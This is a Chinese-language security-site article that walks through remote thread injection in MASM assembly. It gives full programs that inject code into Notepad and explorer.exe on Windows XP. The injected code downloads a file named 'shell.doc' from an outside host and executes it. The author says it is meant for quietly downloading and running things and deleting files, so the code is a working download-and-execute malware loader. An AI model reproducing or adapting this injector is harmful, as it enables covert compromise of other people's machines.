执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
C#编写的多线程端口扫描程序
使用汇编写进注册表启动的简单例子
开启终端的最简单方法全攻略
用脚本文件简单修改注册表
记一次对永联网的简单渗透
乔客论坛upload.asp 文件简单分析
一次利用社会工程学的简单入侵
简单防范DDOS
教你简单方法查找黑客的老巢
用NC打造成自己的简单后门
简单线程注入的实现
作者:佚名 来源:安全在线 更新时间:2007-1-15 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:

最近在搞线程注入,其实这个流程也蛮简单的。一些书上写的线程注入,都是使用 call [ebx + XXXX]的形式来解决重定位。这样的话,invoke伪指令就不能直接使用了。就像用伪指令调用messagebox,本来就是invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK,远程注入的话,代码就要变动,写成如下形式:

lea eax[ebx+szTitle]

lea ecx[ebx+szCaption]

_invoke [ebx,_MessageBox] ,NULL,ecx,eax,MB_OK

还挺麻烦的。我通过参考网络上的一些资料,通过线程注入记事本、计算器,或者别的知道了窗口类的软件进程。在他们的基础上,线程注入,然后注入的代码编写成其他我需要体现的。例如,悄悄下载一些东西并且运行,删除一些文件等,这个是个人爱好了。

下面是主要的注入记事本进程后运行的代码:

Shellcode proc

push 00403008H

call LoadLibrary

push 00403013H

call LoadLibrary

invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL

invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW

invoke ExitThread,0

ret

Shellcode endp

这段代码是插在记事本运行的,所以它自己要装载API所需要的dll。比如URLDownloadToFile,是urlmon.dll里面的,所以,要用LoadLibrary装载。

push 00403008H

call LoadLibrary

00403008H这个地址,是urlmon.dll的内存地址,在同一个exe文件的空间,内存地址是没有改变,所以00403008H压栈,然后call LoadLibrary调用,这样我们就可以使用这个API下载文件了。ShellExecute是在shell32.dll里面,在远程线程调用,自然也要。

push 00403013H

call LoadLibrary
其中00403013H是shell32.dll的内存地址。全部都装载完毕,API就可以正常调用。

invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL

invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW

使用了伪指令的方式注入。

怎么寻找到记事本的ID?Windows提供了FindWindow,只要知道记事本的窗口类,就可以GetWindowThreadProcessId找到了。知道记事本的窗口类很简单,只要下载一些查看窗口类名的工具就可以了,然后你可以随便注入一个知道窗口类的程序进程空间。

szCalss db   'Notepad',0

.

invoke FindWindow,addr szCalss,0

.

找到之后,调用GetWindowThreadProcessId可以从窗口类句柄找到PID。接着,OpenProcess找到句柄,其中,要以“允许创建远程线程”,“允许使用进程的地址空间”,“ PROCESS_VM_WRITE”的权限打开。因为我们就是要对记事本的空间进行写的操作,权限务必要足够。如果记事本没有内存空间给我们存放代码,那么也枉然,然后要释放和分配内存空间,VirtualFreeEx与VirtualAllocEx就可以做到,其中VirtualAllocEx返回的句柄保存在寄存器eax中,mov hWnd,eax传送到hWnd做为操作的句柄,用WriteProcessMemory开始写它的内存空间,CreateRemoteThread创建指定的线程目标进程句柄,也就是我们最后的注入代码。

下面是完整代码:

.386

.model flat, stdcall

option casemap:none

include windows.inc

include kernel32.inc

include user32.inc

include urlmon.inc

include shell32.inc

includelib kernel32.lib

includelib user32.lib

includelib urlmon.lib

includelib shell32.lib



.data

szCalss db   'Notepad',0

szURL   db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0

szSaveFile db 'C:\shell.doc',0



.data?

hModule dd ?

hWnd dd ?

hProcess dd ?

ShellSize dd ?

Pid dd ?

Written dd ?

dwTid dd ?

.code



Shellcode proc

push 00403008H

call LoadLibrary

push 00403013H

call LoadLibrary

invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL

invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW

invoke ExitThread,0

ret

Shellcode endp

start:

invoke FindWindow,addr szCalss,0

invoke GetWindowThreadProcessId, eax, addr Pid

invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\

        PROCESS_VM_OPERATION,FALSE,Pid       

mov hProcess, eax

invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE

invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,

 PAGE_EXECUTE_READWRITE

mov hWnd, eax

invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written

invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid

invoke ExitProcess, 0

end start

其实这段:

Shellcode proc

push 00403008H

call LoadLibrary

push 00403013H

call LoadLibrary

invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL

invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW

invoke ExitThread,0

ret

Shellcode endp

可以将它转换成机器码,这样就不需要子程序了。直接“szShellcode db ............”,在写入空间地址的时候,直接Wirte进去。

测试方法:

打开一个记事本后运行程序,就注入,然后运行你的写字版。

BUG描述:

同样一个编译好的程序,在这个时候运行,测试成功。写字版正常打开,过会就不知道为什么,记事本出现错误。郁闷了我,知道为什么的请支个招。

刚刚看了一个牛人的代码,Copy了一部分并做了注释,把它放到我的代码中,就可以注入explorer.exe进程了,恭喜一下:

mov edi, eax

assume edi:ptr IMAGE_DOS_HEADER

add edi, [edi].e_lfanew

add edi, sizeof dword

add edi, sizeof IMAGE_FILE_HEADER

assume edi:ptr IMAGE_OPTIONAL_HEADER32

mov eax, [edi].SizeOfImage ;保存整个PE的内存影射尺寸

mov ShellSize, eax ;保存在dwSize,以便下面写入

assume edi:NOTHING

只是做了一点注释,将一个DOS下PE文件的标识 MZ 加到寄存器edi。对于sizeof的用法,好像是在内存中的字节变量的大小,然后将编译好的程序的内存尺寸SizeOfImage保存在eax。mov ShellSize, eax,将SizeOfImage存到了ShellSize。

修改过后的注入explorer.exe完整代码,Windows XP SP2下测试通过:

.386

.model flat, stdcall

option casemap:none

include windows.inc

include kernel32.inc

include user32.inc

include urlmon.inc

include shell32.inc

includelib kernel32.lib

includelib user32.lib

includelib urlmon.lib

includelib shell32.lib



.data

szDesktopClass     db     'Progman',0 ;explorer.exe 的窗口类

szDesktopWindow   db     'Program Manager',0

szURL   db 'Http://chenmingzhong87.xinwen365.com/shell.doc',0

szSaveFile db 'C:\shell.doc',0



.data?

hModule dd ?

hWnd dd ?

hProcess dd ?

ShellSize dd ?

Pid dd ?

Written dd ?

dwTid dd ?

.code



Shellcode proc

push 00403008H

call LoadLibrary

push 00403013H

call LoadLibrary

invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL

invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW

invoke ExitThread,0

ret

Shellcode endp

start:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;这里开始的代码是借用别人的

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

invoke GetModuleHandle, 0

mov hModule, eax

mov edi, eax

assume edi:ptr IMAGE_DOS_HEADER

add edi, [edi].e_lfanew

add edi, sizeof dword

add edi, sizeof IMAGE_FILE_HEADER

assume edi:ptr IMAGE_OPTIONAL_HEADER32

mov eax, [edi].SizeOfImage

mov ShellSize, eax

assume edi:NOTHING

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;接着原来的代码继续执行

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

invoke FindWindow,addr szDesktopClass,addr szDesktopWindow

invoke GetWindowThreadProcessId, eax, addr Pid

invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\

    PROCESS_VM_OPERATION,FALSE,Pid     

mov hProcess, eax

invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE

invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,

 PAGE_EXECUTE_READWRITE

mov hWnd, eax

invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written

invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid

invoke ExitProcess, 0

end start

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号